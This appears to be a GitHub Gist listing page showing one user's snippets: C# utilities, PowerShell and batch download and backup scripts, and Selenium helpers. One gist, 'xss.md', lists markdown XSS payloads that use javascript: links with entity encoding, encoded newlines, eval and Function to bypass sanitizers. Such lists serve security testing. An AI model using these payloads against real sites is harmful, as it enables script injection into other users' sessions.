Skip to content

Instantly share code, notes, and snippets.

@guillaC
guillaC / VideoCreator.cs
Last active April 22, 2024 19:43
Raylib Vidéo Creator with ffmpeg
using Raylib_cs;
using System.Diagnostics;
namespace AsciiI
{
public static class VideoCreator
{
public static List<Image> Images = new();
static readonly string FfmpegPath = @"Ressources/ffmpeg.exe";
@guillaC
guillaC / xss.md
Last active April 19, 2024 20:20
[test](javascript:prompt(1234))
[test](Javas&#99;ript:alert(1234&#41;)
[test](javascript://www.google.com%0Aalert(1234))
[test](javascript:prompt`1234`)
[test](javascript://www.google.com%0Aprompt(1234))
[test](javascript:eval(`prompt(1234)`))
[![test](?)](javascript:prompt(1234))
[test](javascript:Function('prompt(1234)')())
@guillaC
guillaC / CreateSecretWindowsFolders.ps1
Last active August 17, 2023 20:20
This PowerShell script explores CLSID registry keys in "HKLM:\SOFTWARE\Classes\CLSID", creating directories based on these values. Directories are within a "folders" subfolder, named "CLSID.CLSID".
$registryPath = "HKLM:\SOFTWARE\Classes\CLSID"
$clsidKeys = Get-ChildItem -Path $registryPath
foreach ($clsidKey in $clsidKeys) {
$name = $clsidKey.PSChildName
$directoryPath = ".\folders\$name.$name"
if (-not (Test-Path -Path $directoryPath)) {
New-Item -Path $directoryPath -ItemType Directory
Write-Host "créé : $directoryPath"
@guillaC
guillaC / ReadAllSQLiteFiles.cs
Created April 12, 2023 22:39
This app allows you to browse all SQLite files on a machine. Note: it is not possible to read a file that is already in use, you would need to make a copy before reading.
using System.Data;
using System.Data.Entity.Core.Common.CommandTrees.ExpressionBuilder;
using System.Data.SQLite;
using Spectre.Console;
using Rule = Spectre.Console.Rule;
using Color = Spectre.Console.Color;
class ReadAllSQLiteFiles
{
static void Main(string[] args)
@guillaC
guillaC / Downloader.bat
Last active May 19, 2022 22:27
cavites downloader
@echo off
SET NB=1
:loop
IF %NB% GTR 95 GOTO concat
SET URL=https://www.georisques.gouv.fr/webappReport/ws/cavites/departements/%nb%/fiches.csv
SET FILE="./%NB%.csv"
ECHO Downloading from %URL% ..
powershell.exe -c "(New-Object Net.WebClient).DownloadFile('%URL%','%FILE%')"
SET /a NB=NB+1
GOTO loop
@guillaC
guillaC / updater.bat
Created December 17, 2020 17:54
update uMod mod for the game Rust
@echo off
SET URL=https://umod.org/games/rust/download
SET FILE="./%RANDOM%.zip"
SET FOLDERPATH="C:\Users\Guillaume\Desktop\RustServer\common\rust_dedicated\data\Managed"
ECHO Downloading from %URL%
powershell.exe -c "(New-Object Net.WebClient).DownloadFile('%URL%','%FILE%')"
ECHO Done.
ECHO Extract to current folder
powershell.exe -c "Expand-Archive -Force '%FILE%' ./"
ECHO Done.
@guillaC
guillaC / extract.bat
Last active October 21, 2020 07:42
extract .h from .c files
@ECHO OFF
SETLOCAL enableextensions
:start
SET /P project="project path:"
SET /P save="save path:"
SET tmp=%random%
CLS
FINDSTR /S /B /N /R /C:"#include" %project%\*.c>%tmp%
FOR /f "tokens=*" %%a IN (%tmp%) DO CALL :parse %%a
@echo off
::Configuration
SET folderPath=C:\Users\Guillaume\Desktop\fiverrorderFO1B3039F9A5\backuppls\
SET backupPath=C:\Users\Guillaume\Desktop\fiverrorderFO1B3039F9A5\
SET SubExcept[0]=sub3
SET SubExcept[1]=sub4
SET /A i = 0
::ClearBackupFolder
ForFiles /p %backupPath% /s /m *.zip /d -7 /c "cmd /c del @file"
@guillaC
guillaC / highlight.cs
Created August 29, 2020 15:27
RichTextBox Syntax Highlighting
private void Highligh(RichTextBox rtb) {
String[] keywords = {
"@echo",
"echo",
"pause",
"set",
"cls",
"exit",
"del",
"erase",
@guillaC
guillaC / tips.cs
Created January 23, 2020 21:30
selenium check if exist
private Boolean Exist(By by) //vérifie si un élément existe
{
try
{
this.driver.FindElement(by);
return true;
}
catch(Exception)
{
return false;